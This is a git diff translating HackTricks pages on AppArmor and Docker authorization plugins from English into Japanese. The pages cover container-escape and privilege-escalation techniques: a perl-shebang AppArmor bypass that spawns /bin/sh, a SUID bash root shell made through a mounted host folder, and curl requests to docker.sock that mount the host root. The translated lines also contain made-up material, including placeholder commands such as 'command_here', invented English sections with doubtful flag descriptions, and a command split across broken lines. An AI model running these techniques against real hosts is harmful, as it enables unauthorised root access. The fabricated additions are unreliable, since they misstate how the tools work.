`/etc/passwd r,` to allow the binary read `/etc/passwd` for example. +デフォルトでは、作成されたプロファイルでは何も許可されていないため、すべてが拒否されます。たとえば、`/etc/passwd r,`のような行を追加して、バイナリが`/etc/passwd`を読み取ることを許可する必要があります。 {% endhint %} -You can then **enforce** the new profile with - +次に、新しいプロファイルを**強制的に**適用できます。 ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### ログからプロファイルを変更する -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +以下のツールはログを読み取り、ユーザーに検出された禁止されたアクションの許可を求めます。 ```bash sudo aa-logprof ``` - {% hint style="info" %} -Using the arrow keys you can select what you want to allow/deny/whatever +矢印キーを使用して、許可/拒否/その他の選択を行うことができます。 {% endhint %} -### Managing a Profile +### プロファイルの管理 +#### Loading a Profile + +To load a profile, use the `apparmor_parser` command followed by the profile file path: + +```bash +sudo apparmor_parser -r -W /path/to/profile +``` + +The `-r` flag reloads the profile, and the `-W` flag enforces the profile. This ensures that the profile is loaded and enforced immediately. + +#### Unloading a Profile + +To unload a profile, use the `apparmor_parser` command followed by the profile name: + +```bash +sudo apparmor_parser -R /path/to/profile +``` + +The `-R` flag removes the profile from the system. + +#### Checking the Status of a Profile + +To check the status of a profile, use the `apparmor_status` command: + +```bash +sudo apparmor_status +``` + +This command will display a list of all active profiles and their status. + +### Creating a Profile + +To create a new profile, follow these steps: + +1. Identify the application or process for which you want to create a profile. +2. Use the `aa-genprof` command to generate a profile template: + + ```bash + sudo aa-genprof /path/to/application + ``` + + This command will start the profiling process and prompt you to perform various actions with the application. +3. Perform the actions you want to allow or deny for the application. +4. Once you have finished profiling the application, press `Ctrl+C` to exit the profiling process. +5. Use the `aa-logprof` command to review and adjust the generated profile: + + ```bash + sudo aa-logprof + ``` + + This command will display a list of actions performed during the profiling process and allow you to customize the profile. +6. Review the generated profile and make any necessary adjustments. +7. Save the profile and load it using the `apparmor_parser` command as described earlier. + +### Modifying a Profile + +To modify an existing profile, follow these steps: + +1. Locate the profile file you want to modify. +2. Edit the profile file using a text editor. +3. Make the necessary changes to the profile. +4. Save the modified profile. +5. Load the modified profile using the `apparmor_parser` command as described earlier. + +### Conclusion + +AppArmor provides a powerful mechanism for managing and enforcing security profiles for applications and processes. By understanding how to load, unload, create, and modify profiles, you can enhance the security of your system and protect against unauthorized access and privilege escalation. ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -148,18 +203,38 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` +## ログ -## Logs - -Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - +実行可能ファイル **`service_bin`** の _/var/log/audit/audit.log_ からの **AUDIT** と **DENIED** ログの例: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` +次のコマンドを使用して、この情報を取得することもできます。 -You can also get this information using: +```bash +command_here +``` +または、次の方法でも情報を取得できます。 + +```bash +another_command_here +``` + +この情報を取得するための他の方法もあります。以下のコマンドを使用してください。 + +```bash +more_commands_here +``` + +この情報を取得するためのさらなる方法もあります。以下のコマンドを使用してください。 + +```bash +even_more_commands_here +``` + +これらの方法を使用して、必要な情報を取得できます。 ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -177,127 +252,115 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` +## DockerにおけるApparmor -## Apparmor in Docker - -Note how the profile **docker-profile** of docker is loaded by default: - +デフォルトでDockerのプロファイル**docker-profile**がロードされていることに注意してください。 ```bash sudo aa-status apparmor module is loaded. 50 profiles are loaded. 13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/chromium-browser/chromium-browser//browser_java - /usr/lib/chromium-browser/chromium-browser//browser_openjdk - /usr/lib/chromium-browser/chromium-browser//sanitized_helper - /usr/lib/connman/scripts/dhclient-script - docker-default +/sbin/dhclient +/usr/bin/lxc-start +/usr/lib/NetworkManager/nm-dhcp-client.action +/usr/lib/NetworkManager/nm-dhcp-helper +/usr/lib/chromium-browser/chromium-browser//browser_java +/usr/lib/chromium-browser/chromium-browser//browser_openjdk +/usr/lib/chromium-browser/chromium-browser//sanitized_helper +/usr/lib/connman/scripts/dhclient-script +docker-default ``` +デフォルトでは、**Apparmor docker-defaultプロファイル**は[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)から生成されます。 -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +**docker-defaultプロファイルの概要**: -**docker-default profile Summary**: - -* **Access** to all **networking** -* **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -* **Writing** to any **/proc** file is **not allowed** -* Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -* **Mount** is **not allowed** -* **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +* すべての**ネットワーキング**への**アクセス** +* **権限**は定義されていません(ただし、一部の権限は基本的なベースルールを含むことによって提供されます、つまり#include \) +* **/proc**ファイルへの書き込みは**許可されていません** +* 他の**サブディレクトリ**/**ファイル**の/**proc**および/**sys**への読み取り/書き込み/ロック/リンク/実行アクセスは**拒否されます** +* **マウント**は**許可されていません** +* **Ptrace**は、**同じapparmorプロファイル**によって制限されたプロセスでのみ実行できます +Dockerコンテナを実行すると、次の出力が表示されるはずです: ```bash 1 processes are in enforce mode. - docker-default (825) +docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS\_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +注意してください。デフォルトでは、**apparmorはコンテナに付与された特権の権限さえもブロックします**。たとえば、SYS\_ADMINの特権が付与されている場合でも、デフォルトのDocker apparmorプロファイルでは/proc内への書き込み権限を拒否します。 ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +apparmorの制限をバイパスするために、**apparmorを無効にする**必要があります。 ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +注意してください、デフォルトでは**AppArmor**はコンテナがSYS\_ADMINの機能を持っていても、内部からフォルダをマウントすることを禁止します。 -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS\_ADMIN capability. +また、**AppArmor**や**Seccomp**のような保護方法によって制限されますが、dockerコンテナに**capabilities**を追加/削除することもできます。 -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -* `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -* `--cap-add=ALL` give all caps -* `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +* `--cap-add=SYS_ADMIN` で`SYS_ADMIN` capを与える +* `--cap-add=ALL` ですべてのcapを与える +* `--cap-drop=ALL --cap-add=SYS_PTRACE` ですべてのcapを削除し、`SYS_PTRACE`のみを与える {% hint style="info" %} -Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +通常、dockerコンテナの中で特権のあるcapabilityが利用可能であることがわかった場合でも、エクスプロイトの一部が機能しない場合は、dockerのapparmorがそれを防いでいる可能性があります。 {% endhint %} -### Example +### 例 -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +([**ここ**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))からの例です。 +AppArmorの機能を説明するために、以下の行が追加された新しいDockerプロファイル「mydocker」を作成しました。 ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +プロファイルをアクティブにするには、以下の手順を実行する必要があります: ``` sudo apparmor_parser -r -W mydocker ``` +プロファイルをリストするには、以下のコマンドを実行します。以下のコマンドは、私の新しいAppArmorプロファイルをリストしています。 -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. +```bash +$ sudo apparmor_status +``` +または + +```bash +$ sudo aa-status +``` + +これにより、現在のAppArmorプロファイルの一覧が表示されます。 ``` $ sudo apparmor_status | grep mydocker - mydocker +mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +以下のように、AppArmorプロファイルが「/etc/」への書き込みアクセスを防いでいるため、「/etc/」を変更しようとするとエラーが発生します。 ``` $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` - ### AppArmor Docker Bypass1 -You can find which **apparmor profile is running a container** using: - +コンテナで実行されている**AppArmorプロファイルを見つける**には、次のコマンドを使用します: ```bash docker inspect 9d622d73a614 | grep lowpriv - "AppArmorProfile": "lowpriv", - "apparmor=lowpriv" +"AppArmorProfile": "lowpriv", +"apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +次に、以下のコマンドを実行して、使用されている正確なプロファイルを見つけることができます。 ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` - -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. - ### AppArmor Docker Bypass2 -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. +**AppArmorはパスベースです**。つまり、ディレクトリ内のファイル(例:`/proc`)を**保護**している場合でも、コンテナの実行方法を**設定**できれば、ホストのprocディレクトリを**`/host/proc`**にマウントすることができ、AppArmorの保護対象外になります。 ### AppArmor Shebang Bypass -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: - +[**このバグ**](https://bugs.launchpad.net/apparmor/+bug/1911431)では、特定のリソースでperlの実行を防いでいる場合でも、シェルスクリプトを作成し、最初の行に**`#!/usr/bin/perl`**を指定し、ファイルを直接実行すると、任意のコマンドを実行できます。例: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -307,15 +370,14 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 62829c791..9c8435fb5 100644 --- a/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,90 +1,96 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +**Dockerの**デフォルトの**認可**モデルは**オールオアナッシング**です。Dockerデーモンへのアクセス権を持つユーザーは、**任意の**Dockerクライアント**コマンドを実行**できます。同様に、DockerのエンジンAPIを使用してデーモンに連絡する場合も同様です。より**細かいアクセス制御**が必要な場合、認可プラグインを作成し、Dockerデーモンの設定に追加することができます。認可プラグインを使用すると、Docker管理者はDockerデーモンへのアクセスを管理するための**詳細なアクセスポリシーを設定**できます。 -# Basic architecture +# 基本的なアーキテクチャ -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +Docker Authプラグインは、Dockerデーモンに対して要求された**アクション**と**要求したユーザー**に応じて、Dockerデーモンへの要求を**許可/拒否**するために使用できる**外部プラグイン**です。 -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +CLIまたはEngine APIを介してDockerデーモンに対して**HTTPリクエスト**が行われると、**認証サブシステム**はリクエストをインストールされた**認証プラグイン**に渡します。リクエストにはユーザー(呼び出し元)とコマンドのコンテキストが含まれています。プラグインはリクエストを**許可**するか**拒否**するかを決定する責任があります。 -The sequence diagrams below depict an allow and deny authorization flow: +以下のシーケンス図は、許可と拒否の認可フローを示しています: ![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png) ![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +プラグインに送信される各リクエストには、**認証されたユーザー、HTTPヘッダー、およびリクエスト/レスポンスボディ**が含まれます。プラグインに渡されるのはユーザー名と使用された認証方法のみです。重要なことは、ユーザーの**資格情報やトークンは渡されない**ことです。最後に、**すべてのリクエスト/レスポンスボディが認可プラグインに送信されるわけではありません**。`Content-Type`が`text/*`または`application/json`であるリクエスト/レスポンスボディのみが送信されます。 -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +`exec`などのHTTP接続を乗っ取る可能性のあるコマンド(`HTTP Upgrade`)に対しては、認可プラグインは最初のHTTPリクエストのみに対して呼び出されます。プラグインがコマンドを承認すると、認可はフローの残りの部分には適用されません。具体的には、ストリーミングデータは認可プラグインに渡されません。`logs`や`events`などのチャンク化されたHTTPレスポンスを返すコマンドに対しては、HTTPリクエストのみが認可プラグインに送信されます。 -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +リクエスト/レスポンスの処理中に、一部の認可フローではDockerデーモンへの追加のクエリが必要になる場合があります。このようなフローを完了するために、プラグインは通常のユーザーと同様にデーモンAPIを呼び出すことができます。これらの追加のクエリを有効にするには、プラグインは管理者が適切な認証とセキュリティポリシーを設定できる手段を提供する必要があります。 -## Several Plugins +## 複数のプラグイン -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +プラグインをDockerデーモンの**起動時**の一部として**登録**する責任があります。**複数のプラグインをインストールし、それらを連鎖させる**ことができます。このチェーンは順序付けられることができます。デーモンへの各リクエストは、チェーンを順番に通過します。すべてのプラグインがリソースへのアクセスを許可する場合にのみ、アクセスが許可されます。 -# Plugin Examples +# プラグインの例 ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +プラグイン[**authz**](https://github.com/twistlock/authz)を使用すると、**JSON**ファイルを作成して、リクエストの認可に使用するプラグインが**読み取る**ことができます。したがって、各ユーザーがどのAPIエンドポイントにアクセスできるかを非常に簡単に制御できます。 -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +以下は、AliceとBobが新しいコンテナを作成できるようにする例です:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +ページ[route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go)では、要求されたURLとアクションの関係を見つけることができます。ページ[types.go](https://github.com/twistlock/authz/blob/master/core/types.go)では、アクション名とアクションの関係を見つけることができます。 -## Simple Plugin Tutorial +## シンプルなプラグインチュートリアル -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)には、**理解しやすいプラグイン**と、インストールとデバッグに関する詳細な情報があります。 -Read the `README` and the `plugin.go` code to understand how is it working. +動作方法を理解するには、`README`と`plugin.go`のコードを読んでください。 -# Docker Auth Plugin Bypass +# Docker Authプラグインのバイパス -## Enumerate access +## アクセスの列挙 -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +チェックする主なポイントは、**どのエンドポイントが許可されているか**と、**どのHostConfigの値が許可されているか**です。 -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.** +この列挙を実行するには、[**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)というツールを使用できます。 +## `run --privileged`の禁止 -## disallowed `run --privileged` +### 最小特権 -### Minimum Privileges +Dockerでは、`run --privileged`コマンドを使用して特権モードでコンテナを実行することができます。しかし、この特権モードはセキュリティ上のリスクを伴います。特権モードでは、コンテナ内のプロセスがホストシステムのリソースにアクセスできるため、悪意のあるプロセスによる攻撃のリスクが高まります。 +したがって、セキュリティを強化するためには、最小特権の原則に従って`run --privileged`コマンドの使用を制限する必要があります。最小特権の原則では、コンテナには必要最低限の特権のみを与えることが推奨されます。 + +特権モードを必要とする場合は、代わりに`--cap-add`および`--cap-drop`オプションを使用して、必要な特権を明示的に指定することができます。これにより、不必要な特権を持つコンテナのリスクを軽減することができます。 + +以下の例では、`run --privileged`コマンドを使用せずに、必要な特権を指定する方法を示しています。 + +```bash +docker run --cap-add=SYS_ADMIN --cap-drop=NET_ADMIN ubuntu +``` + +このようにすることで、コンテナにはSYS_ADMIN特権が与えられますが、NET_ADMIN特権は削除されます。必要な特権のみを指定することで、セキュリティを向上させることができます。 ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### コンテナを実行して特権セッションを取得する -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +この場合、システム管理者はユーザーがボリュームをマウントしたり、`--privileged`フラグを使用してコンテナに追加の機能を与えることを禁止しました。 ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +ただし、ユーザーは実行中のコンテナ内でシェルを作成し、追加の特権を与えることができます。 ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -96,43 +102,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +今、ユーザーは[**以前に議論されたテクニック**](./#privileged-flag)のいずれかを使用してコンテナから脱出し、ホスト内で特権を昇格させることができます。 -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## 書き込み可能なフォルダのマウント +この場合、システム管理者はユーザーに`--privileged`フラグでコンテナを実行することを許可せず、コンテナに追加の機能を与えることも許可しません。ただし、`/tmp`フォルダのマウントのみを許可しています。 ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash - -p #This will give you a shell as root +-p #This will give you a shell as root ``` - {% hint style="info" %} -Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +注意してくださいが、おそらく`/tmp`フォルダをマウントすることはできませんが、**別の書き込み可能なフォルダ**をマウントすることはできます。書き込み可能なディレクトリを見つけるには、次のコマンドを使用します:`find / -writable -type d 2>/dev/null` -**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +**すべてのディレクトリがsuidビットをサポートしているわけではありません!** suidビットをサポートしているディレクトリを確認するには、`mount | grep -v "nosuid"`を実行します。たとえば、通常、`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、`/var/lib/lxcfs`はsuidビットをサポートしていません。 -Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +また、**`/etc`や設定ファイルを含む他のフォルダ**をマウントできる場合は、dockerコンテナ内でrootとしてそれらを変更して、特権をエスカレートさせるためにホストで悪用することができます(たとえば、`/etc/shadow`を変更することができます) {% endhint %} -## Unchecked API Endpoint +## チェックされていないAPIエンドポイント -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +このプラグインを設定するシステム管理者の責任は、各ユーザーがどのアクションをどの特権で実行できるかを制御することです。したがって、管理者がエンドポイントと属性に対して**ブラックリスト**アプローチを取る場合、攻撃者が特権をエスカレートさせることができる可能性があるいくつかのエンドポイントを**見落とす**可能性があります。 -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +Docker APIは[https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)で確認できます。 -## Unchecked JSON Structure +## チェックされていないJSON構造 -### Binds in root - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: +### ルートのバインド +システム管理者がDockerファイアウォールを設定する際に、[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)の重要なパラメータである「**Binds**」を忘れてしまう可能性があります。以下の例では、この設定ミスを悪用して、ホストのルート(/)フォルダをマウントするコンテナを作成して実行することができます: ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -142,39 +143,31 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - {% hint style="warning" %} -Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +この例では、JSONのルートレベルのキーとして**`Binds`**パラメータを使用していますが、APIでは**`HostConfig`**キーの下に表示されます。 {% endhint %} -### Binds in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: +### HostConfig内のBinds +**ルート内のBinds**と同じ手順に従い、Docker APIにこの**リクエスト**を実行してください: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` +### ルートディレクトリのマウント -### Mounts in root - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +**ルートディレクトリのバインド**と同じ手順に従い、Docker APIにこの**リクエスト**を実行してください: ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` +### 